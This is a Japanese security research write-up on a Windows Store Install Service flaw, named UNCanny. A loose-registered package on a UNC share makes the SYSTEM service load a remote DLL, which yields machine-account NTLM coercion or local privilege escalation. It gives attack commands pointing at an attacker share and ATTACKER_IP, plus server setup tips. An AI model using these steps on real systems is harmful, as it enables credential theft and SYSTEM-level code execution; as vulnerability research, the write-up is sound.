この研究の背後にあるアイデアは単純で、独自の強制 (coercion) 技術を見つけたいと考えたことでした。最初は新しいRPC攻撃対象領域を探していましたが、MicrosoftがRPCアクティビティ監視を追加した(https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368)ため、別の道を選ぶことにしました。
UNCannyはその深掘りの結果です。制限があるため、実際のレッドチーム運用で信頼できるものとは考えていませんが、同じ分野を調査している人にとってはメモを公開する価値があると考えています。
簡単に言えば、このプリミティブは次のとおりです。
通常のユーザーがWindowsストアインストールサービスにインストールメタデータを渡す -> サービス(ローカルシステムとして動作)がその作業の「プラグイン」を解決する -> リゾルバーが最終的にユーザーが影響を与えたパスで
LoadLibraryWを実行する -> そのパスが UNC である -> マシンアカウントとしてのアウトバウンドNTLM。
コンポーネントはWindowsストアインストールサービスの世界です: InstallService.dll が InstallService.exe にホストされ、NT AUTHORITY\SYSTEM として実行されます。
深掘りは InstallService.dll から始まりました。パッケージをインストールし、再起動後に状態を復元し、失敗したジョブを再開し、ローカル/リモートコンテンツを読み取り、プラグインをロードするWindowsコンポーネントを調べていました。これらの4つがすべて揃っているものは、通常どこかに境界の混乱があります:
興味深いランタイムクラスは次のとおりでした:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

その propertiesJson パラメータに楽しみがあります。インストール動作は FulfillmentPluginId、SourceUri、PackageFamilyName、SerializedFulfillmentData、SkipCatalogLookup、ProductId、SkuId などのJSONフィールドで記述されます。
最初は、「SourceUri にUNCを入れてサービスに読み取らせる」というバグだと思いました。それは素晴らしかったでしょうが、Windowsはそれほど寛大ではありませんでした。組み込みの fulfillment パス (CreateInstallServiceWorkFromBridge、InstallService.dll) と組み込みプラグインをリバースしましたが、それらはそうしません:
WU はJSONを解析し、WinHTTP / Delivery Optimization 経由で送信します。SMBは使われません。ChainedWork と XVC も同様か、クライアントには存在しません。SourceUri はすぐに拒否されるか、カタログ検証にルーティングされます。CreateCatalogItemFromLocalData は、その名前に反して、メモリ内のシリアル化されたJSONからカタログアイテムを構築し、ファイルを開くことはしません。したがって、単純なアイデアは行き止まりです。この機能は非常に興味深く、他の研究プリミティブもこれについて行っています。そのため、誰も1週間無駄にしないように言っておく価値があります :)
作成/復元フローの全体で、サービスが攻撃者の影響を受けたパスに触れる唯一の場所はプラグインのアクティベーションです。関数は PluginHelpers::ActivatePlugin です。これは FulfillmentPluginId を次の順序で解決します:
"WU" -> 組み込み"ChainedWork" -> 組み込みStaticPluginMap (HKLM) にある値 -> CoCreateInstance でCLSIDを、またはWinRTクラスをアクティブ化"XVC" -> XboxファクトリFindPackagesForUser(pfn) -> そのパッケージの InstalledLocation.Path を取得 -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")ブランチ5が該当し、PluginHelpers::IsPluginAvailable がゲートを確認します: インストールされているパッケージに一致する FulfillmentPluginId に対して、まったく同じ FindPackagesForUser ルックアップを介してtrueを返します。

したがって、FulfillmentPluginId が UNC である InstalledLocation を持つパッケージを指している場合、SYSTEMとして動作する InstallService.exe は次の処理を行います:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW は \\attacker\share に接続して認証する必要があり、DLLが存在しないことを確認する前に、その認証が強制 (coercion) であり、DLLは存在する必要はありません。

あとは「通常のユーザーがどのようにして InstalledLocation がUNCであるパッケージを入手するか」という問題だけです。答えはルースファイル (loose-file) 登録です。これはユーザーごとの、昇格を必要としない操作です:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
Windowsはパッケージを「その場で」登録するため、登録された InstalledLocation は文字通りあなたが指定したUNCになります。その後、そのパッケージのファミリ名をプラグインIDとして使用して作業をトリガーします。
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <そのパッケージのPFN> )呼び出し元は通常のユーザーであり、ネットワーク認証はマシンアカウントです。

低権限ユーザーがトリガーし、マシンアカウントが認証しました。Windows自身のローダーがUNCタッチを行い、呼び出し元は行いませんでした。

実行前に整理すべきことが2つあります:
impacket-smbserver はファイルシステムタイプ XTFS を報告します。AppX は NTFS 以外の共有への登録を拒否します (0x80073CFD)。impacket/smbserver.py の FileSystemName フィールドを NTFS に修正してください。
共有には AppxManifest.xml、logo.png、dummy.exe が必要です。InstallServicePlugin.dll は必要ありません。マニフェスト内の MaxVersionTested はターゲットビルド以下でなければなりません(ターゲットで winver を実行して確認)。
Kali 上のリポジトリルートから poc/setup.sh を実行できます。共有を設定し、impacket にパッチを当て、TARGET_IP と TARGET_CREDS が設定されている場合は smbclient を介して poc.ps1 をターゲットにステージングし、サーバーを起動します ;-)
次に、Windowsワークステーションでインタラクティブセッションの低権限ユーザーとして以下を実行します:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
同じバグには、強制よりも直接的な第二の側面があります。InstallServicePlugin.dll がUNCパッケージパスに実際に存在する場合、サービスは同じ LoadLibraryW(\\attacker\share\InstallServicePlugin.dll) ブランチに到達しますが、今回はローダーが成功し、DLL は NT AUTHORITY\SYSTEM としてストアインストールサービスプロセス内にマップされます。
そこで私はこの問題の証明に興奮し、lpe/ にPoCを書きました。重要なのは別のパッケージ登録トリックではなく、同じ登録済みルースパッケージがプラグインパッケージとして再利用されることです。ハーネスは低権限ユーザーのパッケージファミリ名を Get-AppxPackage で取得し、そのPFNを FulfillmentPluginId として渡し、SkipCatalogLookup=true を設定し、SerializedFulfillmentData を含めます。この最後のフィールドは重要です。なぜなら、InstallQueue2::CreateWork は、カタログルックアップをスキップして fulfillment データがない場合、リクエストを 0x80070057 で拒否するからです。
トラブルシューティングに長い時間がかかった点について非常に重要です。impacket はロード可能なイメージを提供できません。 マシンアカウントが認証するための読み取りには十分対応するため、強制パスは完全に機能しますが、impacket 共有に対する LoadLibraryW は ERROR_INVALID_HANDLE で null を返し、DllMain は実行されません。同じファイルを実際のSMBサーバー (Samba) で提供すると、ロードは成功します。Samba はデフォルトで NTFS を報告するため、ルース登録は引き続き機能します。したがってルールは単純です: ハッシュのみが必要な場合は impacket、DLL を SYSTEM として実際に実行させたい場合は Samba を使用します!
実際の実行では、低権限ユーザーによってトリガーされ、uncanny_lpe.txt に示されているように、DLL が svchost.exe にマップされ、トークンが NT AUTHORITY\SYSTEM / S-1-5-18 に解決されます。下のスクリーンショットです。

このデモDLLでは、サービスが実際のプラグインインターフェースを要求して断念する時点で DllMain は既に実行されているため、CreateInstallServiceWork は依然として 0x800706BE を返します :-)

この制限こそが、私がこのテクニックを公開しようと決めた理由です。これを実行するには開発者モードが有効になっている必要があります。 すべては InstalledLocation.Path がUNCパスであることに依存しており、多くの時間を費やして調査した結果、それを実現する方法は1つしか見つかりませんでした。通常の署名付きインストールでは、パッケージが C:\Program Files\WindowsApps\... にコピーされ、InstalledLocation がそこに設定され、常にローカルパスになります。
ファイルを既存の場所(UNC共有を含む)に保持する唯一の登録パスは、ルースファイル登録 (Add-AppxPackage -Register <manifest>) です。これはまさに開発者モード (HKLM\...\AppModelUnlock の AllowDevelopmentWithoutDevLicense) がロックを解除するものです。そしてそれがゲートされる理由は当然です。ルース登録は基本的に、自分が制御する場所にある任意の未署名ファイルから信頼されたパッケージ ID を作成するものであり、通常のストアおよび署名の信頼モデルを完全に回避します。そのため、開発者モードを有効にする必要があり、これが現在このテクニックの最大の制限です。
興味深いのは、InstallService 側はあまり気にせず、そのようなパッケージが存在すれば、ActivatePlugin のブランチ5は受け取った InstalledLocation.Path に対して喜んで LoadLibraryW を呼び出すことです。問題はすべて、開発者モードを必要とせずに、インストール場所がUNCパスを指すパッケージを最初に入手することにあります。
そこで、別の方法を探してガードレールをリバースし始めました。
開発者モードのチェックは InstallService 内部にはまったく存在しません。AppX デプロイスタック (AppXDeploymentServer.dll およびデプロイライセンスポリシー) 内にあり、最終的には管理者が制御する HKLM\...\AppModelUnlock を読み取ります。通常のユーザーがそこで反転できるものはありません。
また、サイドローディングのような明らかな迂回策も試しました。
サイドローディングを有効にし、開発者モードを無効にした状態でテストしました (IsSideloadingEnabled=1、IsDeveloperModeEnabled=0)。ルース登録は即座に失敗し、パッケージの起源が Unsigned であり、有効なライセンスまたはサイドローディングポリシーを適用できないと報告しました。
まだ完全に除外していないルートがいくつかあり、掘り下げたい場合は試してみてください:
StaticPluginMap と COM 検索順序ハイジャックの組み合わせ-ExternalLocation と外部パッケージコンテンツHKCU\...\CLSID を介したユーザーごとのCOMハイジャックElastic はおそらくすぐにカバーするでしょう。
- この情報がどのように使用されるかについて、私は責任を負いません。この研究は最終的には教育目的で公開されており、攻撃対象領域の理解を深める助けにもなるかもしれません。